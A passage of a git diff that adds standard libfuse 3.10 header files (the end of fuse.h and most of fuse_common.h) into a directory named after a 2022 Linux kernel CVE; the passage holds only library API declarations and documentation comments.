_IOC_READ in area and if both are set in/out area. In all + * non-NULL cases, the area is of _IOC_SIZE(cmd) bytes. + * + * If flags has FUSE_IOCTL_DIR then the fuse_file_info refers to a + * directory file handle. + * + * Note : the unsigned long request submitted by the application + * is truncated to 32 bits. + */ + int (*ioctl) (const char *, unsigned int cmd, void *arg, + struct fuse_file_info *, unsigned int flags, void *data); +#endif + + /** + * Poll for IO readiness events + * + * Note: If ph is non-NULL, the client should notify + * when IO readiness events occur by calling + * fuse_notify_poll() with the specified ph. + * + * Regardless of the number of times poll with a non-NULL ph + * is received, single notification is enough to clear all. + * Notifying more times incurs overhead but doesn't harm + * correctness. + * + * The callee is responsible for destroying ph with + * fuse_pollhandle_destroy() when no longer in use. + */ + int (*poll) (const char *, struct fuse_file_info *, + struct fuse_pollhandle *ph, unsigned *reventsp); + + /** Write contents of buffer to an open file + * + * Similar to the write() method, but data is supplied in a + * generic buffer. Use fuse_buf_copy() to transfer data to + * the destination. + * + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is + * expected to reset the setuid and setgid bits. + */ + int (*write_buf) (const char *, struct fuse_bufvec *buf, off_t off, + struct fuse_file_info *); + + /** Store data from an open file in a buffer + * + * Similar to the read() method, but data is stored and + * returned in a generic buffer. + * + * No actual copying of data has to take place, the source + * file descriptor may simply be stored in the buffer for + * later data transfer. + * + * The buffer must be allocated dynamically and stored at the + * location pointed to by bufp. If the buffer contains memory + * regions, they too must be allocated using malloc(). The + * allocated memory will be freed by the caller. + */ + int (*read_buf) (const char *, struct fuse_bufvec **bufp, + size_t size, off_t off, struct fuse_file_info *); + /** + * Perform BSD file locking operation + * + * The op argument will be either LOCK_SH, LOCK_EX or LOCK_UN + * + * Nonblocking requests will be indicated by ORing LOCK_NB to + * the above operations + * + * For more information see the flock(2) manual page. + * + * Additionally fi->owner will be set to a value unique to + * this open file. This same value will be supplied to + * ->release() when the file is released. + * + * Note: if this method is not implemented, the kernel will still + * allow file locking to work locally. Hence it is only + * interesting for network filesystems and similar. + */ + int (*flock) (const char *, struct fuse_file_info *, int op); + + /** + * Allocates space for an open file + * + * This function ensures that required space is allocated for specified + * file. If this function returns success then any subsequent write + * request to specified range is guaranteed not to fail because of lack + * of space on the file system media. + */ + int (*fallocate) (const char *, int, off_t, off_t, + struct fuse_file_info *); + + /** + * Copy a range of data from one file to another + * + * Performs an optimized copy between two file descriptors without the + * additional cost of transferring data through the FUSE kernel module + * to user space (glibc) and then back into the FUSE filesystem again. + * + * In case this method is not implemented, applications are expected to + * fall back to a regular file copy. (Some glibc versions did this + * emulation automatically, but the emulation has been removed from all + * glibc release branches.) + */ + ssize_t (*copy_file_range) (const char *path_in, + struct fuse_file_info *fi_in, + off_t offset_in, const char *path_out, + struct fuse_file_info *fi_out, + off_t offset_out, size_t size, int flags); + + /** + * Find next data or hole after the specified offset + */ + off_t (*lseek) (const char *, off_t off, int whence, struct fuse_file_info *); +}; + +/** Extra context that may be needed by some filesystems + * + * The uid, gid and pid fields are not filled in case of a writepage + * operation. + */ +struct fuse_context { + /** Pointer to the fuse object */ + struct fuse *fuse; + + /** User ID of the calling process */ + uid_t uid; + + /** Group ID of the calling process */ + gid_t gid; + + /** Process ID of the calling thread */ + pid_t pid; + + /** Private filesystem data */ + void *private_data; + + /** Umask of the calling process */ + mode_t umask; +}; + +/** + * Main function of FUSE. + * + * This is for the lazy. This is all that has to be called from the + * main() function. + * + * This function does the following: + * - parses command line options, and handles --help and + * --version + * - installs signal handlers for INT, HUP, TERM and PIPE + * - registers an exit handler to unmount the filesystem on program exit + * - creates a fuse handle + * - registers the operations + * - calls either the single-threaded or the multi-threaded event loop + * + * Most file systems will have to parse some file-system specific + * arguments before calling this function. It is recommended to do + * this with fuse_opt_parse() and a processing function that passes + * through any unknown options (this can also be achieved by just + * passing NULL as the processing function). That way, the remaining + * options can be passed directly to fuse_main(). + * + * fuse_main() accepts all options that can be passed to + * fuse_parse_cmdline(), fuse_new(), or fuse_session_new(). + * + * Option parsing skips argv[0], which is assumed to contain the + * program name. This element must always be present and is used to + * construct a basic ``usage: `` message for the --help + * output. argv[0] may also be set to the empty string. In this case + * the usage message is suppressed. This can be used by file systems + * to print their own usage line first. See hello.c for an example of + * how to do this. + * + * Note: this is currently implemented as a macro. + * + * The following error codes may be returned from fuse_main(): + * 1: Invalid option arguments + * 2: No mount point specified + * 3: FUSE setup failed + * 4: Mounting failed + * 5: Failed to daemonize (detach from session) + * 6: Failed to set up signal handlers + * 7: An error occurred during the life of the file system + * + * @param argc the argument counter passed to the main() function + * @param argv the argument vector passed to the main() function + * @param op the file system operation + * @param private_data Initial value for the `private_data` + * field of `struct fuse_context`. May be overridden by the + * `struct fuse_operations.init` handler. + * @return 0 on success, nonzero on failure + * + * Example usage, see hello.c + */ +/* + int fuse_main(int argc, char *argv[], const struct fuse_operations *op, + void *private_data); +*/ +#define fuse_main(argc, argv, op, private_data) \ + fuse_main_real(argc, argv, op, sizeof(*(op)), private_data) + +/* ----------------------------------------------------------- * + * More detailed API * + * ----------------------------------------------------------- */ + +/** + * Print available options (high- and low-level) to stdout. This is + * not an exhaustive list, but includes only those options that may be + * of interest to an end-user of a file system. + * + * The function looks at the argument vector only to determine if + * there are additional modules to be loaded (module=foo option), + * and attempts to call their help functions as well. + * + * @param args the argument vector. + */ +void fuse_lib_help(struct fuse_args *args); + +/** + * Create a new FUSE filesystem. + * + * This function accepts most file-system independent mount options + * (like context, nodev, ro - see mount(8)), as well as the + * FUSE-specific mount options from mount.fuse(8). + * + * If the --help option is specified, the function writes a help text + * to stdout and returns NULL. + * + * Option parsing skips argv[0], which is assumed to contain the + * program name. This element must always be present and is used to + * construct a basic ``usage: `` message for the --help output. If + * argv[0] is set to the empty string, no usage message is included in + * the --help output. + * + * If an unknown option is passed in, an error message is written to + * stderr and the function returns NULL. + * + * @param args argument vector + * @param op the filesystem operations + * @param op_size the size of the fuse_operations structure + * @param private_data Initial value for the `private_data` + * field of `struct fuse_context`. May be overridden by the + * `struct fuse_operations.init` handler. + * @return the created FUSE handle + */ +#if FUSE_USE_VERSION == 30 +struct fuse *fuse_new_30(struct fuse_args *args, const struct fuse_operations *op, + size_t op_size, void *private_data); +#define fuse_new(args, op, size, data) fuse_new_30(args, op, size, data) +#else +struct fuse *fuse_new(struct fuse_args *args, const struct fuse_operations *op, + size_t op_size, void *private_data); +#endif + +/** + * Mount a FUSE file system. + * + * @param mountpoint the mount point path + * @param f the FUSE handle + * + * @return 0 on success, -1 on failure. + **/ +int fuse_mount(struct fuse *f, const char *mountpoint); + +/** + * Unmount a FUSE file system. + * + * See fuse_session_unmount() for additional information. + * + * @param f the FUSE handle + **/ +void fuse_unmount(struct fuse *f); + +/** + * Destroy the FUSE handle. + * + * NOTE: This function does not unmount the filesystem. If this is + * needed, call fuse_unmount() before calling this function. + * + * @param f the FUSE handle + */ +void fuse_destroy(struct fuse *f); + +/** + * FUSE event loop. + * + * Requests from the kernel are processed, and the appropriate + * operations are called. + * + * For a description of the return value and the conditions when the + * event loop exits, refer to the documentation of + * fuse_session_loop(). + * + * @param f the FUSE handle + * @return see fuse_session_loop() + * + * See also: fuse_loop_mt() + */ +int fuse_loop(struct fuse *f); + +/** + * Flag session as terminated + * + * This function will cause any running event loops to exit on + * the next opportunity. + * + * @param f the FUSE handle + */ +void fuse_exit(struct fuse *f); + +#if FUSE_USE_VERSION < 32 +int fuse_loop_mt_31(struct fuse *f, int clone_fd); +#define fuse_loop_mt(f, clone_fd) fuse_loop_mt_31(f, clone_fd) +#else +/** + * FUSE event loop with multiple threads + * + * Requests from the kernel are processed, and the appropriate + * operations are called. Request are processed in parallel by + * distributing them between multiple threads. + * + * For a description of the return value and the conditions when the + * event loop exits, refer to the documentation of + * fuse_session_loop(). + * + * Note: using fuse_loop() instead of fuse_loop_mt() means you are running in + * single-threaded mode, and that you will not have to worry about reentrancy, + * though you will have to worry about recursive lookups. In single-threaded + * mode, FUSE will wait for one callback to return before calling another. + * + * Enabling multiple threads, by using fuse_loop_mt(), will cause FUSE to make + * multiple simultaneous calls into the various callback functions given by your + * fuse_operations record. + * + * If you are using multiple threads, you can enjoy all the parallel execution + * and interactive response benefits of threads, and you get to enjoy all the + * benefits of race conditions and locking bugs, too. Ensure that any code used + * in the callback function of fuse_operations is also thread-safe. + * + * @param f the FUSE handle + * @param config loop configuration + * @return see fuse_session_loop() + * + * See also: fuse_loop() + */ +int fuse_loop_mt(struct fuse *f, struct fuse_loop_config *config); +#endif + +/** + * Get the current context + * + * The context is only valid for the duration of a filesystem + * operation, and thus must not be stored and used later. + * + * @return the context + */ +struct fuse_context *fuse_get_context(void); + +/** + * Get the current supplementary group IDs for the current request + * + * Similar to the getgroups(2) system call, except the return value is + * always the total number of group IDs, even if it is larger than the + * specified size. + * + * The current fuse kernel module in linux (as of 2.6.30) doesn't pass + * the group list to userspace, hence this function needs to parse + * "/proc/$TID/task/$TID/status" to get the group IDs. + * + * This feature may not be supported on all operating systems. In + * such a case this function will return -ENOSYS. + * + * @param size size of given array + * @param list array of group IDs to be filled in + * @return the total number of supplementary group IDs or -errno on failure + */ +int fuse_getgroups(int size, gid_t list[]); + +/** + * Check if the current request has already been interrupted + * + * @return 1 if the request has been interrupted, 0 otherwise + */ +int fuse_interrupted(void); + +/** + * Invalidates cache for the given path. + * + * This calls fuse_lowlevel_notify_inval_inode internally. + * + * @return 0 on successful invalidation, negative error value otherwise. + * This routine may return -ENOENT to indicate that there was + * no entry to be invalidated, e.g., because the path has not + * been seen before or has been forgotten; this should not be + * considered to be an error. + */ +int fuse_invalidate_path(struct fuse *f, const char *path); + +/** + * The real main function + * + * Do not call this directly, use fuse_main() + */ +int fuse_main_real(int argc, char *argv[], const struct fuse_operations *op, + size_t op_size, void *private_data); + +/** + * Start the cleanup thread when using option "remember". + * + * This is done automatically by fuse_loop_mt() + * @param fuse struct fuse pointer for fuse instance + * @return 0 on success and -1 on error + */ +int fuse_start_cleanup_thread(struct fuse *fuse); + +/** + * Stop the cleanup thread when using option "remember". + * + * This is done automatically by fuse_loop_mt() + * @param fuse struct fuse pointer for fuse instance + */ +void fuse_stop_cleanup_thread(struct fuse *fuse); + +/** + * Iterate over cache removing stale entries + * use in conjunction with "-oremember" + * + * NOTE: This is already done for the standard sessions + * + * @param fuse struct fuse pointer for fuse instance + * @return the number of seconds until the next cleanup + */ +int fuse_clean_cache(struct fuse *fuse); + +/* + * Stacking API + */ + +/** + * Fuse filesystem object + * + * This is opaque object represents a filesystem layer + */ +struct fuse_fs; + +/* + * These functions call the relevant filesystem operation, and return + * the result. + * + * If the operation is not defined, they return -ENOSYS, with the + * exception of fuse_fs_open, fuse_fs_release, fuse_fs_opendir, + * fuse_fs_releasedir and fuse_fs_statfs, which return 0. + */ + +int fuse_fs_getattr(struct fuse_fs *fs, const char *path, struct stat *buf, + struct fuse_file_info *fi); +int fuse_fs_rename(struct fuse_fs *fs, const char *oldpath, + const char *newpath, unsigned int flags); +int fuse_fs_unlink(struct fuse_fs *fs, const char *path); +int fuse_fs_rmdir(struct fuse_fs *fs, const char *path); +int fuse_fs_symlink(struct fuse_fs *fs, const char *linkname, + const char *path); +int fuse_fs_link(struct fuse_fs *fs, const char *oldpath, const char *newpath); +int fuse_fs_release(struct fuse_fs *fs, const char *path, + struct fuse_file_info *fi); +int fuse_fs_open(struct fuse_fs *fs, const char *path, + struct fuse_file_info *fi); +int fuse_fs_read(struct fuse_fs *fs, const char *path, char *buf, size_t size, + off_t off, struct fuse_file_info *fi); +int fuse_fs_read_buf(struct fuse_fs *fs, const char *path, + struct fuse_bufvec **bufp, size_t size, off_t off, + struct fuse_file_info *fi); +int fuse_fs_write(struct fuse_fs *fs, const char *path, const char *buf, + size_t size, off_t off, struct fuse_file_info *fi); +int fuse_fs_write_buf(struct fuse_fs *fs, const char *path, + struct fuse_bufvec *buf, off_t off, + struct fuse_file_info *fi); +int fuse_fs_fsync(struct fuse_fs *fs, const char *path, int datasync, + struct fuse_file_info *fi); +int fuse_fs_flush(struct fuse_fs *fs, const char *path, + struct fuse_file_info *fi); +int fuse_fs_statfs(struct fuse_fs *fs, const char *path, struct statvfs *buf); +int fuse_fs_opendir(struct fuse_fs *fs, const char *path, + struct fuse_file_info *fi); +int fuse_fs_readdir(struct fuse_fs *fs, const char *path, void *buf, + fuse_fill_dir_t filler, off_t off, + struct fuse_file_info *fi, enum fuse_readdir_flags flags); +int fuse_fs_fsyncdir(struct fuse_fs *fs, const char *path, int datasync, + struct fuse_file_info *fi); +int fuse_fs_releasedir(struct fuse_fs *fs, const char *path, + struct fuse_file_info *fi); +int fuse_fs_create(struct fuse_fs *fs, const char *path, mode_t mode, + struct fuse_file_info *fi); +int fuse_fs_lock(struct fuse_fs *fs, const char *path, + struct fuse_file_info *fi, int cmd, struct flock *lock); +int fuse_fs_flock(struct fuse_fs *fs, const char *path, + struct fuse_file_info *fi, int op); +int fuse_fs_chmod(struct fuse_fs *fs, const char *path, mode_t mode, + struct fuse_file_info *fi); +int fuse_fs_chown(struct fuse_fs *fs, const char *path, uid_t uid, gid_t gid, + struct fuse_file_info *fi); +int fuse_fs_truncate(struct fuse_fs *fs, const char *path, off_t size, + struct fuse_file_info *fi); +int fuse_fs_utimens(struct fuse_fs *fs, const char *path, + const struct timespec tv[2], struct fuse_file_info *fi); +int fuse_fs_access(struct fuse_fs *fs, const char *path, int mask); +int fuse_fs_readlink(struct fuse_fs *fs, const char *path, char *buf, + size_t len); +int fuse_fs_mknod(struct fuse_fs *fs, const char *path, mode_t mode, + dev_t rdev); +int fuse_fs_mkdir(struct fuse_fs *fs, const char *path, mode_t mode); +int fuse_fs_setxattr(struct fuse_fs *fs, const char *path, const char *name, + const char *value, size_t size, int flags); +int fuse_fs_getxattr(struct fuse_fs *fs, const char *path, const char *name, + char *value, size_t size); +int fuse_fs_listxattr(struct fuse_fs *fs, const char *path, char *list, + size_t size); +int fuse_fs_removexattr(struct fuse_fs *fs, const char *path, + const char *name); +int fuse_fs_bmap(struct fuse_fs *fs, const char *path, size_t blocksize, + uint64_t *idx); +#if FUSE_USE_VERSION < 35 +int fuse_fs_ioctl(struct fuse_fs *fs, const char *path, int cmd, + void *arg, struct fuse_file_info *fi, unsigned int flags, + void *data); +#else +int fuse_fs_ioctl(struct fuse_fs *fs, const char *path, unsigned int cmd, + void *arg, struct fuse_file_info *fi, unsigned int flags, + void *data); +#endif +int fuse_fs_poll(struct fuse_fs *fs, const char *path, + struct fuse_file_info *fi, struct fuse_pollhandle *ph, + unsigned *reventsp); +int fuse_fs_fallocate(struct fuse_fs *fs, const char *path, int mode, + off_t offset, off_t length, struct fuse_file_info *fi); +ssize_t fuse_fs_copy_file_range(struct fuse_fs *fs, const char *path_in, + struct fuse_file_info *fi_in, off_t off_in, + const char *path_out, + struct fuse_file_info *fi_out, off_t off_out, + size_t len, int flags); +off_t fuse_fs_lseek(struct fuse_fs *fs, const char *path, off_t off, int whence, + struct fuse_file_info *fi); +void fuse_fs_init(struct fuse_fs *fs, struct fuse_conn_info *conn, + struct fuse_config *cfg); +void fuse_fs_destroy(struct fuse_fs *fs); + +int fuse_notify_poll(struct fuse_pollhandle *ph); + +/** + * Create a new fuse filesystem object + * + * This is usually called from the factory of a fuse module to create + * a new instance of a filesystem. + * + * @param op the filesystem operations + * @param op_size the size of the fuse_operations structure + * @param private_data Initial value for the `private_data` + * field of `struct fuse_context`. May be overridden by the + * `struct fuse_operations.init` handler. + * @return a new filesystem object + */ +struct fuse_fs *fuse_fs_new(const struct fuse_operations *op, size_t op_size, + void *private_data); + +/** + * Factory for creating filesystem objects + * + * The function may use and remove options from 'args' that belong + * to this module. + * + * For now the 'fs' vector always contains exactly one filesystem. + * This is the filesystem which will be below the newly created + * filesystem in the stack. + * + * @param args the command line arguments + * @param fs NULL terminated filesystem object vector + * @return the new filesystem object + */ +typedef struct fuse_fs *(*fuse_module_factory_t)(struct fuse_args *args, + struct fuse_fs *fs[]); +/** + * Register filesystem module + * + * If the "-omodules=*name*_:..." option is present, filesystem + * objects are created and pushed onto the stack with the *factory_* + * function. + * + * @param name_ the name of this filesystem module + * @param factory_ the factory function for this filesystem module + */ +#define FUSE_REGISTER_MODULE(name_, factory_) \ + fuse_module_factory_t fuse_module_ ## name_ ## _factory = factory_ + +/** Get session from fuse object */ +struct fuse_session *fuse_get_session(struct fuse *f); + +/** + * Open a FUSE file descriptor and set up the mount for the given + * mountpoint and flags. + * + * @param mountpoint reference to the mount in the file system + * @param options mount options + * @return the FUSE file descriptor or -1 upon error + */ +int fuse_open_channel(const char *mountpoint, const char *options); + +#ifdef __cplusplus +} +#endif + +#endif /* FUSE_H_ */ diff --git a/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_common.h b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_common.h new file mode 100644 index 00000000..ea4bdb02 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/libfuse/fuse_common.h @@ -0,0 +1,859 @@ +/* FUSE: Filesystem in Userspace + Copyright (C) 2001-2007 Miklos Szeredi + + This program can be distributed under the terms of the GNU LGPLv2. + See the file COPYING.LIB. +*/ + +/** @file */ + +#if !defined(FUSE_H_) && !defined(FUSE_LOWLEVEL_H_) +#error "Never include directly; use or instead." +#endif + +#ifndef FUSE_COMMON_H_ +#define FUSE_COMMON_H_ + +#include "fuse_opt.h" +#include "fuse_log.h" +#include +#include + +/** Major version of FUSE library interface */ +#define FUSE_MAJOR_VERSION 3 + +/** Minor version of FUSE library interface */ +#define FUSE_MINOR_VERSION 10 + +#define FUSE_MAKE_VERSION(maj, min) ((maj) * 100 + (min)) +#define FUSE_VERSION FUSE_MAKE_VERSION(FUSE_MAJOR_VERSION, FUSE_MINOR_VERSION) + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * Information about an open file. + * + * File Handles are created by the open, opendir, and create methods and closed + * by the release and releasedir methods. Multiple file handles may be + * concurrently open for the same file. Generally, a client will create one + * file handle per file descriptor, though in some cases multiple file + * descriptors can share a single file handle. + */ +struct fuse_file_info { + /** Open flags. Available in open() and release() */ + int flags; + + /** In case of a write operation indicates if this was caused + by a delayed write from the page cache. If so, then the + context's pid, uid, and gid fields will not be valid, and + the *fh* value may not match the *fh* value that would + have been sent with the corresponding individual write + requests if write caching had been disabled. */ + unsigned int writepage : 1; + + /** Can be filled in by open, to use direct I/O on this file. */ + unsigned int direct_io : 1; + + /** Can be filled in by open. It signals the kernel that any + currently cached file data (ie., data that the filesystem + provided the last time the file was open) need not be + invalidated. Has no effect when set in other contexts (in + particular it does nothing when set by opendir()). */ + unsigned int keep_cache : 1; + + /** Indicates a flush operation. Set in flush operation, also + maybe set in highlevel lock operation and lowlevel release + operation. */ + unsigned int flush : 1; + + /** Can be filled in by open, to indicate that the file is not + seekable. */ + unsigned int nonseekable : 1; + + /* Indicates that flock locks for this file should be + released. If set, lock_owner shall contain a valid value. + May only be set in ->release(). */ + unsigned int flock_release : 1; + + /** Can be filled in by opendir. It signals the kernel to + enable caching of entries returned by readdir(). Has no + effect when set in other contexts (in particular it does + nothing when set by open()). */ + unsigned int cache_readdir : 1; + + /** Padding. Reserved for future use*/ + unsigned int padding : 25; + unsigned int padding2 : 32; + + /** File handle id. May be filled in by filesystem in create, + * open, and opendir(). Available in most other file operations on the + * same file handle. */ + uint64_t fh; + + /** Lock owner id. Available in locking operations and flush */ + uint64_t lock_owner; + + /** Requested poll events. Available in ->poll. Only set on kernels + which support it. If unsupported, this field is set to zero. */ + uint32_t poll_events; +}; + +/** + * Configuration parameters passed to fuse_session_loop_mt() and + * fuse_loop_mt(). + */ +struct fuse_loop_config { + /** + * whether to use separate device fds for each thread + * (may increase performance) + */ + int clone_fd; + + /** + * The maximum number of available worker threads before they + * start to get deleted when they become idle. If not + * specified, the default is 10. + * + * Adjusting this has performance implications; a very small number + * of threads in the pool will cause a lot of thread creation and + * deletion overhead and performance may suffer. When set to 0, a new + * thread will be created to service every operation. + */ + unsigned int max_idle_threads; +}; + +/************************************************************************** + * Capability bits for 'fuse_conn_info.capable' and 'fuse_conn_info.want' * + **************************************************************************/ + +/** + * Indicates that the filesystem supports asynchronous read requests. + * + * If this capability is not requested/available, the kernel will + * ensure that there is at most one pending read request per + * file-handle at any time, and will attempt to order read requests by + * increasing offset. + * + * This feature is enabled by default when supported by the kernel. + */ +#define FUSE_CAP_ASYNC_READ (1 << 0) + +/** + * Indicates that the filesystem supports "remote" locking. + * + * This feature is enabled by default when supported by the kernel, + * and if getlk() and setlk() handlers are implemented. + */ +#define FUSE_CAP_POSIX_LOCKS (1 << 1) + +/** + * Indicates that the filesystem supports the O_TRUNC open flag. If + * disabled, and an application specifies O_TRUNC, fuse first calls + * truncate() and then open() with O_TRUNC filtered out. + * + * This feature is enabled by default when supported by the kernel. + */ +#define FUSE_CAP_ATOMIC_O_TRUNC (1 << 3) + +/** + * Indicates that the filesystem supports lookups of "." and "..". + * + * This feature is disabled by default. + */ +#define FUSE_CAP_EXPORT_SUPPORT (1 << 4) + +/** + * Indicates that the kernel should not apply the umask to the + * file mode on create operations. + * + * This feature is disabled by default. + */ +#define FUSE_CAP_DONT_MASK (1 << 6) + +/** + * Indicates that libfuse should try to use splice() when writing to + * the fuse device. This may improve performance. + * + * This feature is disabled by default. + */ +#define FUSE_CAP_SPLICE_WRITE (1 << 7) + +/** + * Indicates that libfuse should try to move pages instead of copying when + * writing to / reading from the fuse device. This may improve performance. + * + * This feature is disabled by default. + */ +#define FUSE_CAP_SPLICE_MOVE (1 << 8) + +/** + * Indicates that libfuse should try to use splice() when reading from + * the fuse device. This may improve performance. + * + * This feature is enabled by default when supported by the kernel and + * if the filesystem implements a write_buf() handler. + */ +#define FUSE_CAP_SPLICE_READ (1 << 9) + +/** + * If set, the calls to flock(2) will be emulated using POSIX locks and must + * then be handled by the filesystem's setlock() handler. + * + * If not set, flock(2) calls will be handled by the FUSE kernel module + * internally (so any access that does not go through the kernel cannot be taken + * into account). + * + * This feature is enabled by default when supported by the kernel and + * if the filesystem implements a flock() handler. + */ +#define FUSE_CAP_FLOCK_LOCKS (1 << 10) + +/** + * Indicates that the filesystem supports ioctl's on directories. + * + * This feature is enabled by default when supported by the kernel. + */ +#define FUSE_CAP_IOCTL_DIR (1 << 11) + +/** + * Traditionally, while a file is open the FUSE kernel module only + * asks the filesystem for an update of the file's attributes when a + * client attempts to read beyond EOF. This is unsuitable for + * e.g. network filesystems, where the file contents may change + * without the kernel knowing about it. + * + * If this flag is set, FUSE will check the validity of the attributes + * on every read. If the attributes are no longer valid (i.e., if the + * *attr_timeout* passed to fuse_reply_attr() or set in `struct + * fuse_entry_param` has passed), it will first issue a `getattr` + * request. If the new mtime differs from the previous value, any + * cached file *contents* will be invalidated as well. + * + * This flag should always be set when available. If all file changes + * go through the kernel, *attr_timeout* should be set to a very large + * number to avoid unnecessary getattr() calls. + * + * This feature is enabled by default when supported by the kernel. + */ +#define FUSE_CAP_AUTO_INVAL_DATA (1 << 12) + +/** + * Indicates that the filesystem supports readdirplus. + * + * This feature is enabled by default when supported by the kernel and if the + * filesystem implements a readdirplus() handler. + */ +#define FUSE_CAP_READDIRPLUS (1 << 13) + +/** + * Indicates that the filesystem supports adaptive readdirplus. + * + * If FUSE_CAP_READDIRPLUS is not set, this flag has no effect. + * + * If FUSE_CAP_READDIRPLUS is set and this flag is not set, the kernel + * will always issue readdirplus() requests to retrieve directory + * contents. + * + * If FUSE_CAP_READDIRPLUS is set and this flag is set, the kernel + * will issue both readdir() and readdirplus() requests, depending on + * how much information is expected to be required. + * + * As of Linux 4.20, the algorithm is as follows: when userspace + * starts to read directory entries, issue a READDIRPLUS request to + * the filesystem. If any entry attributes have been looked up by the + * time userspace requests the next batch of entries continue with + * READDIRPLUS, otherwise switch to plain READDIR. This will reasult + * in eg plain "ls" triggering READDIRPLUS first then READDIR after + * that because it doesn't do lookups. "ls -l" should result in all + * READDIRPLUS, except if dentries are already cached. + * + * This feature is enabled by default when supported by the kernel and + * if the filesystem implements both a readdirplus() and a readdir() + * handler. + */ +#define FUSE_CAP_READDIRPLUS_AUTO (1 << 14) + +/** + * Indicates that the filesystem supports asynchronous direct I/O submission. + * + * If this capability is not requested/available, the kernel will ensure that + * there is at most one pending read and one pending write request per direct + * I/O file-handle at any time. + * + * This feature is enabled by default when supported by the kernel. + */ +#define FUSE_CAP_ASYNC_DIO (1 << 15) + +/** + * Indicates that writeback caching should be enabled. This means that + * individual write request may be buffered and merged in the kernel + * before they are send to the filesystem. + * + * This feature is disabled by default. + */ +#define FUSE_CAP_WRITEBACK_CACHE (1 << 16) + +/** + * Indicates support for zero-message opens. If this flag is set in + * the `capable` field of the `fuse_conn_info` structure, then the + * filesystem may return `ENOSYS` from the open() handler to indicate + * success. Further attempts to open files will be handled in the + * kernel. (If this flag is not set, returning ENOSYS will be treated + * as an error and signaled to the caller). + * + * Setting (or unsetting) this flag in the `want` field has *no + * effect*. + */ +#define FUSE_CAP_NO_OPEN_SUPPORT (1 << 17) + +/** + * Indicates support for parallel directory operations. If this flag + * is unset, the FUSE kernel module will ensure that lookup() and + * readdir() requests are never issued concurrently for the same + * directory. + * + * This feature is enabled by default when supported by the kernel. + */ +#define FUSE_CAP_PARALLEL_DIROPS (1 << 18) + +/** + * Indicates support for POSIX ACLs. + * + * If this feature is enabled, the kernel will cache and have + * responsibility for enforcing ACLs. ACL will be stored as xattrs and + * passed to userspace, which is responsible for updating the ACLs in + * the filesystem, keeping the file mode in sync with the ACL, and + * ensuring inheritance of default ACLs when new filesystem nodes are + * created. Note that this requires that the file system is able to + * parse and interpret the xattr representation of ACLs. + * + * Enabling this feature implicitly turns on the + * ``default_permissions`` mount option (even if it was not passed to + * mount(2)). + * + * This feature is disabled by default. + */ +#define FUSE_CAP_POSIX_ACL (1 << 19) + +/** + * Indicates that the filesystem is responsible for unsetting + * setuid and setgid bits when a file is written, truncated, or + * its owner is changed. + * + * This feature is enabled by default when supported by the kernel. + */ +#define FUSE_CAP_HANDLE_KILLPRIV (1 << 20) + +/** + * Indicates that the kernel supports caching symlinks in its page cache. + * + * When this feature is enabled, symlink targets are saved in the page cache. + * You can invalidate a cached link by calling: + * `fuse_lowlevel_notify_inval_inode(se, ino, 0, 0);` + * + * This feature is disabled by default. + * If the kernel supports it (>= 4.20), you can enable this feature by + * setting this flag in the `want` field of the `fuse_conn_info` structure. + */ +#define FUSE_CAP_CACHE_SYMLINKS (1 << 23) + +/** + * Indicates support for zero-message opendirs. If this flag is set in + * the `capable` field of the `fuse_conn_info` structure, then the filesystem + * may return `ENOSYS` from the opendir() handler to indicate success. Further + * opendir and releasedir messages will be handled in the kernel. (If this + * flag is not set, returning ENOSYS will be treated as an error and signalled + * to the caller.) + * + * Setting (or unsetting) this flag in the `want` field has *no effect*. + */ +#define FUSE_CAP_NO_OPENDIR_SUPPORT (1 << 24) + +/** + * Indicates support for invalidating cached pages only on explicit request. + * + * If this flag is set in the `capable` field of the `fuse_conn_info` structure, + * then the FUSE kernel module supports invalidating cached pages only on + * explicit request by the filesystem through fuse_lowlevel_notify_inval_inode() + * or fuse_invalidate_path(). + * + * By setting this flag in the `want` field of the `fuse_conn_info` structure, + * the filesystem is responsible for invalidating cached pages through explicit + * requests to the kernel. + * + * Note that setting this flag does not prevent the cached pages from being + * flushed by OS itself and/or through user actions. + * + * Note that if both FUSE_CAP_EXPLICIT_INVAL_DATA and FUSE_CAP_AUTO_INVAL_DATA + * are set in the `capable` field of the `fuse_conn_info` structure then + * FUSE_CAP_AUTO_INVAL_DATA takes precedence. + * + * This feature is disabled by default. + */ +#define FUSE_CAP_EXPLICIT_INVAL_DATA (1 << 25) + +/** + * Ioctl flags + * + * FUSE_IOCTL_COMPAT: 32bit compat ioctl on 64bit machine + * FUSE_IOCTL_UNRESTRICTED: not restricted to well-formed ioctls, retry allowed + * FUSE_IOCTL_RETRY: retry with new iovecs + * FUSE_IOCTL_DIR: is a directory + * + * FUSE_IOCTL_MAX_IOV: maximum of in_iovecs + out_iovecs + */ +#define FUSE_IOCTL_COMPAT (1 << 0) +#define FUSE_IOCTL_UNRESTRICTED (1 << 1) +#define FUSE_IOCTL_RETRY (1 << 2) +#define FUSE_IOCTL_DIR (1 << 4) + +#define FUSE_IOCTL_MAX_IOV 256 + +/** + * Connection information, passed to the ->init() method + * + * Some of the elements are read-write, these can be changed to + * indicate the value requested by the filesystem. The requested + * value must usually be smaller than the indicated value. + */ +struct fuse_conn_info { + /** + * Major version of the protocol (read-only) + */ + unsigned proto_major; + + /** + * Minor version of the protocol (read-only) + */ + unsigned proto_minor; + + /** + * Maximum size of the write buffer + */ + unsigned max_write; + + /** + * Maximum size of read requests. A value of zero indicates no + * limit. However, even if the filesystem does not specify a + * limit, the maximum size of read requests will still be + * limited by the kernel. + * + * NOTE: For the time being, the maximum size of read requests + * must be set both here *and* passed to fuse_session_new() + * using the ``-o max_read=`` mount option. At some point + * in the future, specifying the mount option will no longer + * be necessary. + */ + unsigned max_read; + + /** + * Maximum readahead + */ + unsigned max_readahead; + + /** + * Capability flags that the kernel supports (read-only) + */ + unsigned capable; + + /** + * Capability flags that the filesystem wants to enable. + * + * libfuse attempts to initialize this field with + * reasonable default values before calling the init() handler. + */ + unsigned want; + + /** + * Maximum number of pending "background" requests. A + * background request is any type of request for which the + * total number is not limited by other means. As of kernel + * 4.8, only two types of requests fall into this category: + * + * 1. Read-ahead requests + * 2. Asynchronous direct I/O requests + * + * Read-ahead requests are generated (if max_readahead is + * non-zero) by the kernel to preemptively fill its caches + * when it anticipates that userspace will soon read more + * data. + * + * Asynchronous direct I/O requests are generated if + * 